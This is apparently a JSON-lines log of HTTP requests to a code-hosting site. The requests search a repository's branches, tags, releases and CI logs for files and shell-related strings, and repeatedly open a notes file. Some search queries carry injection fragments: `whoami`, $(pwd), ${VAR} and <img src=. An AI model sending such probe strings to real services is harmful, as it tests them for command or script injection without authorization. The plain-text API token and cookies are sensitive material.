{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
